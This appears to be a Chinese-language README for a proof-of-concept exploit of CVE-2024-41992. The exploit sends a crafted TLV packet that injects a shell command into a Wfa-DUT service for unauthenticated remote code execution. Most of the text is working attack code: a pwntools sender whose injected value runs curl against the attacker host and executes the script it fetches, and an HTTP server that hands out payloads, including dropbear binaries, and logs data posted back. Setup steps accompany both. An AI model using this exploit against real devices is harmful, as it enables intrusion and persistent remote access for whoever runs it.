CVE-2024-41992 漏洞利用与远程命令执行工具

1 阅读4分钟

CVE-2024-41992 漏洞利用工具

该项目是针对 CVE-2024-41992 安全漏洞的概念验证(PoC)利用代码。通过构造特殊的 TLV(Type-Length-Value)协议数据包,攻击者可以向运行 Wfa-DUT 服务的目标设备发送恶意载荷,实现未经认证的远程命令执行(RCE)。

功能特性

  • TLV 协议数据包构造:自动生成符合 TLV 格式的恶意数据包
  • 远程命令执行:通过注入系统命令实现目标设备上的任意代码执行
  • HTTP 载荷服务器:内置简易 HTTP 服务器用于托管攻击载荷
  • 多文件支持:支持同时提供多个二进制文件(如 bdropbeardropbearkey
  • POST 请求日志:记录接收到的 POST 请求数据,便于调试

安装指南

系统要求

  • Python 3.6 及以上版本
  • 目标设备运行 Wfa-DUT 服务(默认端口 8080)

依赖安装

pip install pwntools

获取代码

git clone https://github.com/your-repo/CVE-2024-41992-PoC.git
cd CVE-2024-41992-PoC

使用说明

1. 启动 HTTP 载荷服务器

在攻击者机器上运行 HTTP 服务器,用于托管恶意载荷文件:

python http_server.py

服务器将在端口 4 上启动,提供以下文件:

  • / - 文件 b(主载荷)
  • /db - 文件 dropbear
  • /dbk - 文件 dropbearkey

2. 执行远程命令攻击

修改 exploit.py 中的目标信息:

target_ip = '192.168.1.1'      # 目标设备IP
target_port = 8080              # Wfa-DUT 服务端口
attacker_ip = '192.168.1.247'   # 攻击者机器IP

运行漏洞利用脚本:

python exploit.py

3. 核心代码示例

TLV 数据包构造

from pwn import *
import time

def create_tlv_packet(tag, value):
    """
    创建 TLV 格式数据包
    tag: 标签值(整数)
    value: 载荷数据(字节串)
    """
    tag_bytes = p16(tag)                    # 2字节标签
    length_bytes = p16(len(value))          # 2字节长度
    tlv_packet = tag_bytes + length_bytes + value
    return tlv_packet

def send_tlv_packet(ip, port, packet):
    """
    发送 TLV 数据包到目标
    返回服务器响应
    """
    conn = remote(ip, port)
    sent = time.time()
    
    conn.send(packet)
    response = conn.recv(8192)
    
    recv = time.time()
    print(f"响应时间: {recv-sent} 秒")
    
    conn.close()
    return response

HTTP 载荷服务器

from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 根据请求路径返回对应文件
        if self.path == '/':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('b', 'rb') as file:
                self.wfile.write(file.read())
        elif self.path == '/db':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('dropbear', 'rb') as file:
                self.wfile.write(file.read())
        elif self.path == '/dbk':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('dropbearkey', 'rb') as file:
                self.wfile.write(file.read())
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'File not found')
    
    def do_POST(self):
        # 处理 POST 请求并打印接收的数据
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("收到 POST 请求:\n", post_data.decode('utf-8'))
        
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'POST request received')

核心代码

漏洞利用主程序

from pwn import *
import time

def create_tlv_packet(tag, value):
    """
    创建 TLV 格式数据包
    参数:
        tag: 标签值(整数)
        value: 载荷数据(字节串)
    返回:
        完整的 TLV 数据包
    """
    tag_bytes = p16(tag)                    # 转换为2字节小端序
    length_bytes = p16(len(value))          # 长度字段(2字节)
    tlv_packet = tag_bytes + length_bytes + value
    return tlv_packet

def send_tlv_packet(ip, port, packet):
    """
    通过网络发送 TLV 数据包并接收响应
    参数:
        ip: 目标IP地址
        port: 目标端口
        packet: TLV数据包
    返回:
        服务器响应数据
    """
    conn = remote(ip, port)
    sent = time.time()
    
    conn.send(packet)
    response = conn.recv(8192)
    
    recv = time.time()
    print(f"响应接收耗时: {recv-sent} 秒")
    
    conn.close()
    return response

if __name__ == "__main__":
    # 配置攻击参数
    target_ip = '192.168.1.1'      # 目标设备IP
    target_port = 8080              # Wfa-DUT 服务端口
    tag = 2                         # TLV 标签
    
    # 构造命令注入载荷(必须小于40字节)
    # 该命令将从攻击者服务器下载并执行恶意脚本
    value = b'$(sh -c "$(curl 192.168.1.247:4)")111111'
    
    # 创建并发送恶意 TLV 数据包
    packet = create_tlv_packet(tag, value)
    response = send_tlv_packet(target_ip, target_port, packet)
    
    print("接收到的响应:", response)

HTTP 载荷投递服务器

from http.server import HTTPServer, BaseHTTPRequestHandler

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    """自定义 HTTP 请求处理器,用于分发攻击载荷"""
    
    def do_GET(self):
        """处理 GET 请求,根据路径返回对应文件"""
        if self.path == '/':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('b', 'rb') as file:
                self.wfile.write(file.read())
        elif self.path == '/db':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('dropbear', 'rb') as file:
                self.wfile.write(file.read())
        elif self.path == '/dbk':
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            with open('dropbearkey', 'rb') as file:
                self.wfile.write(file.read())
        else:
            self.send_response(404)
            self.end_headers()
            self.wfile.write(b'File not found')
    
    def do_POST(self):
        """处理 POST 请求,打印接收到的数据"""
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        print("收到 POST 请求:\n", post_data.decode('utf-8'))
        
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'POST request received')

def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=4):
    """启动 HTTP 服务器"""
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print(f'HTTP 服务器已启动,监听端口 {port}...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

技术细节

  • CVE-2024-41992:该漏洞允许攻击者通过 TLV 协议注入任意系统命令
  • 载荷限制:命令字符串必须小于 40 字节,因此采用下载远程脚本的方式执行复杂操作
  • 通信协议:使用 TLV(Type-Length-Value)格式进行数据交换,标签和长度字段均为 2 字节小端序

参考资源